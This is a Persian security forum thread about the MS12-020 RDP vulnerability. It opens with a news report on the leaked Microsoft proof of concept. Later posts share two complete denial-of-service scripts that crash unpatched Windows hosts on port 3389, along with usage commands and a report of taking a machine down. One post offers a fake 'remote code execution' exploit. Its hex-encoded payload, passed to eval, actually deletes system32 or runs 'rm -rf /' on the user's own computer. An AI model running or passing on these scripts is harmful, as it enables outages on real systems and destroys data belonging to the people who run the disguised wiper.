اطلاعیه

Collapse
No announcement yet.

انتشار كد سوء استفاده كننده از آسیب پذیری rdp

Collapse
This topic is closed.
X
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • انتشار كد سوء استفاده كننده از آسیب پذیری rdp

    انتشار كد سوء استفاده كننده از آسیب پذیری RDP

    انتشار این كد سوء استفاده كننده، نشان دهنده لو رفتن اطلاعات مایكروسافت درباره این آسیب پذیری پیش از عرضه اصلاحیه است.

    هكرهای چینی كد سوء استفاده كننده از آسیب پذیری خطرناك RDP را كه اصلاحیه آن هفته گذشته توسط مایكروسافت عرضه شد، منتشر كرده اند.
    به گزارش بخش خبر پرتال از مرکز ماهر، انتشار این كد بر روی یك فروم چینی زبان نشانگر فوریت اعمال به روز رسانی MS12-020 مایكروسافت است. این به روز رسانی یك آسیب پذیری اجرای كد از راه دور در پیاده سازی پروتكل RDP را كه پیش از احراز هویت و با دسترسی به شبكه قابل سوء استفاده است، ترمیم می­نماید.
    این مساله باعث اعلام هشدار برای مایكروسافت نیز شده است، چرا كه به معنای لو رفتن «برنامه به اشتراك گذاری آسیب پذیری پیش از اصلاحیه» در این شركت است.
    این برنامه كه (MAPP (Microsoft Active Protections Program نامیده می­شود، داده های آسیب پذیری را تهیه كرده و حدود 24 ساعت پیش از عرضه اصلاحیه، به تولید كنندگان امنیتی ارائه می­دهد. این برنامه به تولید كنندگان امنیتی كمك می­كند كه آسیب پذیری­ها را بازتولید كرده و امضاها و قابلیت­های تشخیص را بدون خطا، ایجاد نمایند.
    مایكروسافت اعلام كرده است كه راهكارهای محكمی برای حصول اطمینان از اینكه داده ها به دست افراد نادرست نمی افتد دارد، اما در این مورد به نظر می­رسد كه هكرهای چینی پیش از عرضه اصلاحیه، به اطلاعات MAPP دسترسی پیدا كرده اند.
    اكنون مایكروسافت این نشت اطلاعات را تایید كرده است و اعلام كرده است كه به طور فعال در حال تحقیق در مورد افشای این جزئیات است و كارهای لازم را برای محافظت از مشتریان انجام خواهد داد.
    به گفته یك مدیر محاسبات امن مایكروسافت، این كد سوء استفاده كننده صرفا باعث اختلال ناشی از انكار سرویس در سیستم­های ویندوز اصلاح نشده خواهد شد و هنوز گزارشی مبنی بر مشاهده كد سوء استفاده كننده ای كه منجر به اجرای كد از راه دور گردد، دریافت نشده است.
    مایكروسافت به كاربران خود توصیه كرده است كه هرچه سریع­تر به روز رسانی MS12-020 را اعمال نمایند. این شركت هیچ جزئیاتی در مورد این نشت اطلاعات منتشر نكرده است.


    منبع:
    Netquard
    thehackernews

  • #2
    کد:
    #!/usr/bin/env ruby
    
    #
    # ms12-020 PoC attempt
    #
    # NOTE: This was crafted based on a legit connection packet capture and reversing
    # a packet capture of the leaked MAPP PoC.
    #
    # by Joshua J. Drake (jduck)
    #
    
    require 'socket'
    
    def send_tpkt(sd, data)
      sd.write(make_tpkt(data))
    end
    
    def make_tpkt(data)
      [
        3,  # version
        0,  # reserved
        4 + data.length
      ].pack('CCn') + data
    end
    
    def make_x224(data)
      [ data.length ].pack('C') + data
    end
    
    def make_rdp(type, flags, data)
      [ type, flags, 4 + data.length ].pack('CCv') + data
    end
    
    
    host = ARGV.shift
    
    sd = TCPSocket.new(host, 3389)
    pkts1 = []
    
    # craft connection request
    rdp = make_rdp(1, 0, [ 0 ].pack('V'))
    x224_1 = make_x224([
      0xe0,  # Connection request
      0,     # ??
      0,     # SRC-REF
      0      # Class : Class 0
    ].pack('CnnC') + rdp)
    
    pkts1 << make_tpkt(x224_1)
    
    
    # craft connect-initial
    x224_2 = make_x224([
      0xf0,  # Data / Class 0
      0x80   # EOT: True / NR: 0
    ].pack('CC'))
    
    # mcsCi
    target_params = ""+
      #"\x02\x01\x00"+     # maxChannelIds
      "\x02\x01\x22"+  # maxChannelIds
      "\x02\x01\x0a"+  # maxUserIds
      "\x02\x01\x00"+  # maxTokenIds
      "\x02\x01\x01"+  # numPriorities
      "\x02\x01\x00"+  # minThroughput
      "\x02\x01\x01"+  # maxHeight
      "\x02\x02\xff\xff"+          # maxMCSPDUSize
      "\x02\x01\x02"   # protocolVersion
    min_params = ""+
      "\x02\x01\x01"+  # maxChannelIds       
      "\x02\x01\x01"+  # maxUserIds          
      "\x02\x01\x01"+  # maxTokenIds         
      "\x02\x01\x01"+  # numPriorities       
      "\x02\x01\x00"+  # minThroughput       
      "\x02\x01\x01"+  # maxHeight           
      "\x02\x02\x04\x20"+          # maxMCSPDUSize
      "\x02\x01\x02"   # protocolVersion
    max_params = ""+
      "\x02\x02\xff\xff"+          # maxChannelIds           
      "\x02\x02\xfc\x17"+          # maxUserIds              
      "\x02\x02\xff\xff"+          # maxTokenIds             
      "\x02\x01\x01"+  # numPriorities           
      "\x02\x01\x00"+  # minThroughput           
      "\x02\x01\x01"+  # maxHeight               
      "\x02\x02\xff\xff"+          # maxMCSPDUSize
      "\x02\x01\x02"   # protocolVersion
    
    userdata = ""+
      # gccCCrq
      "\x00\x05\x00\x14"+
      "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
      # clientCoreData
      "\x01\xc0"+"\xd8\x00"+  # header (type, len)
        "\x04\x00"+"\x08\x00"+ # version
        "\x80\x02"+ # desktop width
        "\xe0\x01"+ # desktop height
        "\x01\xca"+ # color depth
        "\x03\xaa"+ # SASSequence
        "\x09\x04\x00\x00" + # keyboard layout
        "\xce\x0e\x00\x00" + # client build number
        # client name
        "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x04\x00\x00\x00"+ # keyboard type
        "\x00\x00\x00\x00"+ # kbd subType
        "\x0c\x00\x00\x00"+ # kbd FuncKey
        # imeFileName
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x01\xca"+ # postBeta2ColorDepth
        "\x01\x00"+ # clientProductId
        "\x00\x00\x00\x00" + # serialNumber
        "\x10\x00"+ # highColorDepth
        "\x07\x00"+ # supportedColorDepths
        "\x01\x00"+ # earlyCapabilityFlags
        # clientDigProductId -poc has: "00000-000-0000000-00000"
        "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
        "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
        "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00"+ # connectionType
        "\x00"+ # pad1octet
        "\x00\x00\x00\x00"+ # serverSelectedProtocol
        "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
        "\x0d\x00\x00\x00"+ # desktopPhysicalHeight
        "\x00\x00\x00\x00"+ # reserved
      # clientSecurityData
      "\x02\xc0"+"\x0c\x00"+ # header (type, len)
        "\x1b\x00\x00\x00"+ # encryptionMethods
        "\x00\x00\x00\x00"+ # extEncryptionMethods
      # clientNetworkData
      "\x03\xc0"+"\x2c\x00"+ # header (type, len)
        "\x03\x00\x00\x00"+ # channel count!
        # channel 0
        "rdpdr\x00\x00\x00"+ # name
        "\x00\x00\x80\x80"+  # options
        # channel 1
        "cliprdr\x00"+       # name
        "\x00\x00\xa0\xc0"+  # options
        # channel 2
        "rdpsnd\x00\x00"+    # name
        "\x00\x00\x00\xc0"   # options
      # clientClusterData (not present)
      # clientMonitorData (not present)
    
    mcs_data = ""+
        "\x04\x01\x01"+ # callingDomainSelector
        "\x04\x01\x01"+ # calledDomainSelector
        "\x01\x01\xff"+ # upwardFlag
      "\x30" + [ target_params.length ].pack('C') + target_params +
      "\x30" + [ min_params.length ].pack('C') + min_params +
      "\x30" + [ max_params.length ].pack('C') + max_params +
      # userData
      "\x04\x82" + [ userdata.length ].pack('n') + userdata
    
    mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n')  # connect-initial (0x65 / 101), length
    mcs << mcs_data
    
    pkts1 << make_tpkt(x224_2 + mcs)
    
    
    # send a special one?
    #pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")
    
    # send more pkts! - based on poc
    8.times {
      pkts1 << make_tpkt(x224_2 + "\x28")
    }
    
    #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea")
    #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb")
    #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec")
    #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed")
    #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee")
    pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0")
    #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1")
    #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2")
    #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3")
    
    pkts1 << make_tpkt(x224_2 + "\x21\x80")
    
    bigpkt = pkts1.join('')
    
    20.times { |x|
      puts "[*] Sending #{x + 1} ..."
      sd.write(bigpkt)
    
      send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
      #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
      #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
      #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
    
      # read connect-initial response
      buf = sd.recv(1500)
      # XXX: TODO: check response =)
      #puts buf
    }
    
    sd.close
    کد:
    #
        #
        # ms12-020 "chinese shit" PoC v2 (wireshark version)
        #
        # tested on winsp3 spanish, reported to work on Win7, win 2008
        #
        # original source: http://115.com/file/be27pff7
        #
        #
         
        import socket
        import sys
         
         
        buf=""
        buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19
        buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224
        buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470
        buf+="\x02\xf0\x80" # ITU-T Rec X.224
        buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125
         
        buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "**** you Chelios" packet
        buf+="\x30\x19\x02\x04\x00\x00\x00\x00"
        buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
        buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
        buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
        buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
        buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
        buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
        buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
        buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
        buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
        buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
        buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
        buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
        buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
        buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
        buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
        buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
        buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
        buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
        buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
        buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
        buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
        buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
        buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
        buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
        buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
        buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
        buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
        buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
        buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
        buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
        buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
        buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
        buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
        buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
        buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
        buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
        buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
        buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
        buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
        buf+="\xc0"
         
        buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
        buf+="\x02\xf0\x80"  # ITU-T Rec X.224
        buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125
        buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8
        buf+="\x02\xf0\x80" # ITU-T Rec X.224
        buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125
        buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
        buf+="\x02\xf0\x80" # ITU-T Rec X.224
        buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125
        buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
        buf+="\x02\xf0\x80" #ITU-T Rec X.224
        buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125
        buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
        buf+="\x02\xf0\x80" #ITU-T Rec X.224
        buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125
        buf+="\x03\x00\x00\x0c"  # TPKT, Version 3, Lenght 12
        buf+="\x02\xf0\x80" #ITU-T Rec X.224
        buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125
        buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
        buf+="\x02\xf0\x80" #ITU-T Rec X.224
        buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125
        buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12
        buf+="\x06\xd0\x00\x00\x12\x34\x00"  #ITU-T Rec X.224
         
        HOST = sys.argv[1]
        PORT = 3389
        for i in range(1000):
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((HOST,PORT))
                print "sending: %d bytes" % len(buf)
                s.send(buf)
                rec = s.recv(100)
                print "received: %d bytes" % len(rec)
                s.close()
    گفتن rce اِ ... من رو یه جایی تست کردم , داون شد
    البته باز همینم خوبه ;))
    اگر پست تو جای مناسب نیست شرمنده , خواستید انتقال بدید ..

    Comment


    • #3
      همین PoC هم از توی ZDI به بیرون منتشر پیدا کرد. کسی که باگ رو ریپورت داده به ZDI توی twitter گفته که PoC ، به بیرون Leak داده شده از طریق شرکت ZDI.
      Shabgard становится полностью дерьмо

      Comment


      • #4
        جناب black loard این ۲ تا اسکریپت رو چطوری باید استفاده کرد؟

        مرسی
        [email protected]

        Comment


        • #5
          DoNot use for Ko ni bazi

          http://aluigi.org/adv/termdd_1-adv.txt


          Fix
          ======


          http://technet.microsoft.com/en-us/s...letin/ms12-020

          اگر RCE کدش بیاد چه هکرایی را بیفتن :D
          ...

          Comment


          • #6
            کد:
            ruby rdp.rb 1.1.1.1
            کد:
            python rdp.py 1.1.1.1

            Comment


            • #7
              Command Exec نیومده برای این آسیب پذیری؟ یا چیزی که یه دسترسی خوب بده؟
              ! Security is never Complete

              Comment


              • #8
                یه سکریپت پایتون هم من دیدم command exec میکرد و پابلیک بود.
                این عکس هم از بچه ها تو irc گرفتم.
                فایل های پیوست شده

                Comment


                • #9
                  کد پایتون رو پیدا کردی بزار لطفا
                  ! Security is never Complete

                  Comment


                  • #10
                    منبعت معتبر نیست
                    دیشب سروش میگفت چینی ها دارن یه چیزایی...
                    Emperor Hacking Team

                    سکوت در جای جای مکتوبات مقدسشان به چشم می خورد و خیانتها در پی هم. اگر با آنها باشی چه خوب است.
                    عاشقانه تو را بر مکتوباتشان می پذیرند و هنگامی که می خواهی با آنان نباشی ، خون تو را از آب چشمه های کوهستان گوارا تر می پندارند!

                    آدرس توئیتر من:https://twitter.com/#!/iM4n_

                    به صفحه شبگرد در فیسبوک بپیوندید
                    http://www.facebook.com/groups/shabgard

                    تیم Emperor عضو جدید میپذیرد ! برای اطلاعات بیشتر با خودم تماس بگیرید

                    sigpic

                    Comment


                    • #11
                      کد:
                      http://www.symantec.com/connect/blogs/working-poc-ms12-020-spotted-wild
                      New World Begins

                      Comment


                      • #12
                        کد PHP:
                            #!/usr/bin/env python
                             
                            # rdpsmash.py
                            # MS12-020 RDP exploit, remote code execution
                            # Confirmed working on all pre-patch boxes, XP to 7
                            #
                            # Author: Verye
                             
                            
                        import struct
                            import socket
                            import sys
                             
                            trigger 
                        =  "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
                            
                        trigger += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
                            
                        trigger += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
                            
                        trigger += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
                            
                        trigger += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
                            
                        trigger += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
                            
                        trigger += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
                            
                        trigger += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
                            
                        trigger += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
                            
                        trigger += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
                            
                        trigger += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
                            
                        trigger += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
                            
                        trigger += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e"
                            
                        trigger += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51"
                            
                        trigger += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64"
                            
                        trigger += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37"
                            
                        trigger += "\x41" 39
                            trigger 
                        += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e"
                            
                        trigger += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73"
                            
                        trigger += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61"
                            
                        trigger += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78"
                            
                        trigger += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e"
                            
                        trigger += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30"
                            
                        trigger += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b"
                            
                        trigger += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b"
                            
                        trigger += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00"
                             
                            
                        nopsled "\x90" 214
                             
                            
                        #bindshell port 8888
                            
                        shellcode =  "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
                            
                        shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
                            
                        shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
                            
                        shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
                            
                        shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
                            
                        shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
                            
                        shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
                            
                        shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
                            
                        shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
                            
                        shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
                            
                        shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
                            
                        shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
                            
                        shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
                            
                        shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"
                             
                            
                        evil trigger nopsled
                             
                            
                        class RDPsocket(socket.socket):
                                
                        def __init__(selfpayloadshellcode):
                                    
                        super(RDPsocketself).__init__(socket.AF_INETsocket.SOCK_STREAM)
                                    
                        self.payload payload
                                    self
                        .table __import__("__builtin__").__dict__ #dirty workaround
                                    
                        self.shellcode shellcode
                               
                                def parse
                        (selfaddressshellcode):
                                    
                        seeker = (struct.pack(">I"0x6576616c),
                                        
                        socket.inet_aton(address[0]), #IP bytes
                                        
                        socket.inet_aton(str(address[1]))) #port bytes
                                    
                        parsed =  struct.pack(">I"0x8fe2fb63#pop eax
                                    
                        parsed += struct.pack(">I"0x8fe2fb58#push esp
                                    
                        parsed += struct.pack(">I"0xffff1d6b#add esp,byte +0x1c # pop ebp # ret
                                    
                        parsed += struct.pack(">I"0x8fe2db10#call strcpy
                                    
                        parsed += struct.pack(">I"0x8fe2dfd1#POP - POP - RET over strcpy params
                                    
                        parsed += struct.pack(">I"0x8fe2dae4#mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret
                                    
                        parsed += struct.pack(">I"0x8fe2b3d4#POP - RET
                                    
                        parsed += struct.pack(">I"0xffffffff#value to store in ecx
                                    
                        parsed += struct.pack(">I"0x8fe0c0c7#inc ecx # xor al,0xc9
                                    
                        parsed += struct.pack(">I"0x8fe0c0c7#inc ecx # xor al,0xc9
                                    
                        parsed += struct.pack(">I"0x8fe24b3c#add ecx,ecx # ret
                                    
                        parsed += struct.pack(">I"0x8fe24b3c#add ecx,ecx # ret
                                    
                        parsed += struct.pack(">I"0x8fe24b3c#add ecx,ecx # ret
                                    
                        parsed += seeker[0#add the prelude
                                    
                        parsed += seeker[1#add the packed IP address
                                    
                        parsed += seeker[2#add the packed port
                                    
                        parsed += struct.pack(">I"0x8fe24b3c#add ecx,ecx # ret
                                    
                        parsed += struct.pack(">I"0x8fe2c71d#mov eax,edx # ret
                                    
                        parsed += struct.pack(">I"0x8fe2def4#add eax,ecx # ret  
                                    
                        parsed += struct.pack(">I"0x8fe0e32d#xchg eax,edx
                                    
                        parsed += struct.pack(">I"0x8fe0c0c7#inc ecx # xor al,0xc9
                                    
                        parsed += struct.pack(">I"0x8fe0c0c7#inc ecx # xor al,0xc9
                                    
                        parsed += struct.pack(">I"0x8fe24b3c#add ecx,ecx # ret
                                    
                        parsed += struct.pack(">I"0x8fe24b3c#add ecx,ecx # ret
                                    
                        parsed += struct.pack(">I"0x8fe24b3c#add ecx,ecx # ret
                                    
                        parsed += struct.pack(">I"0x8fe2def4#add eax,ecx # ret # swap back
                                    
                        parsed += struct.pack(">I"0x8fe0e32d#xchg eax,edx # copy parameter to placeholder
                                    
                        parsed += struct.pack(">I"0x8fe2fb61#mov [eax],edx # pop eax # ret # set our stack pointer back to original value
                                    
                        parsed += struct.pack(">I"0x8fe0e32d#xchg eax,edx
                                    
                        parsed += struct.pack(">I"0x8fe2daea#sub eax,ecx # ret
                                    
                        parsed += struct.pack(">I"0x8fe0b1c2#xchg eax,ebp # inc ebp # ret
                                    
                        parsed += struct.pack(">I"0x8fe2b6a5#dec ebp # ret
                                    
                        parsed += struct.pack(">I"0xffff01f3#mov esp,ebp # pop ebp # ret
                                    
                        read self.table[seeker[0]] #reader for the parsed shellcode/data
                                   
                                    
                        return str(read(shellcode)), parsed
                             
                                def connect
                        (selfaddress):
                                    
                        self.parsed_shell self.parse(addressshellcode)
                                    
                        super(RDPsocketself).connect(address)
                             
                                
                        def evil_sendall(self):
                                    
                        super(RDPsocketself).sendall(evil self.parsed_shell[0] + self.parsed_shell[1])
                             
                             
                            if 
                        __name__ == "__main__":
                                if 
                        len(sys.argv) != 2:
                                    print 
                        "[*] Usage: python rdpsmash.py IP"
                                    
                        print "[*] If running on non-default port, reassign PORT in the source."
                               
                                
                        else:  
                                    
                        TARGET sys.argv[1]
                                    
                        PORT 3389 #default RDP port
                                   
                                    
                        print "[*] Running rdpsmash"
                                    
                        print
                                    
                        RDPsocket(evilshellcode)
                                    print 
                        "[+] Connecting and configuring payload. . ."
                                    
                        print "[+] This may take some time"
                                    
                        s.connect((TARGETPORT))
                                    print 
                        "[+] Connection established"
                                    
                        print "[+] Sending payload. . ."
                                    
                        s.evil_sendall()
                                    
                        response s.recv(4096)
                                    if 
                        "\xA5\x43\xE7\x38\x75\x84\xF2\xFF\xFF\x18\x61\x00" in response:
                                        print 
                        "[+] Success! Payload sent and executed."
                                        
                        print "[+] Telnet to target on port 8888."
                                    
                        else:
                                        print 
                        "[-] Failed"
                                    
                        s.close() 
                        منبع: http://pastebin.com/GM4sHj9t
                        تست کنید
                        Emperor Hacking Team

                        سکوت در جای جای مکتوبات مقدسشان به چشم می خورد و خیانتها در پی هم. اگر با آنها باشی چه خوب است.
                        عاشقانه تو را بر مکتوباتشان می پذیرند و هنگامی که می خواهی با آنان نباشی ، خون تو را از آب چشمه های کوهستان گوارا تر می پندارند!

                        آدرس توئیتر من:https://twitter.com/#!/iM4n_

                        به صفحه شبگرد در فیسبوک بپیوندید
                        http://www.facebook.com/groups/shabgard

                        تیم Emperor عضو جدید میپذیرد ! برای اطلاعات بیشتر با خودم تماس بگیرید

                        sigpic

                        Comment


                        • #13
                          RCE ها فك هستند نيومده هنوز. اين سايت رو تقيب كنيد :دي . http://istherdpexploitoutyet.com/
                          hj
                          http://h-jafari.blogspot.com/

                          Comment


                          • #14
                            سلام.
                            لطفا یکی یه فیلمی بگیره بزاره ببینیم چی به چیه !
                            من و تو ان دو خطیم آری موازیان به ناچاری

                            که هر دو باورمان زاغاز به همدگر نرسیدن بود

                            چه سرنوشت غم انگیزی یست که کرم کوچک ابریشم

                            تمام عمر قفس میبافت ولی به فکر پریدن بود (مرحوم حسین منزوری)


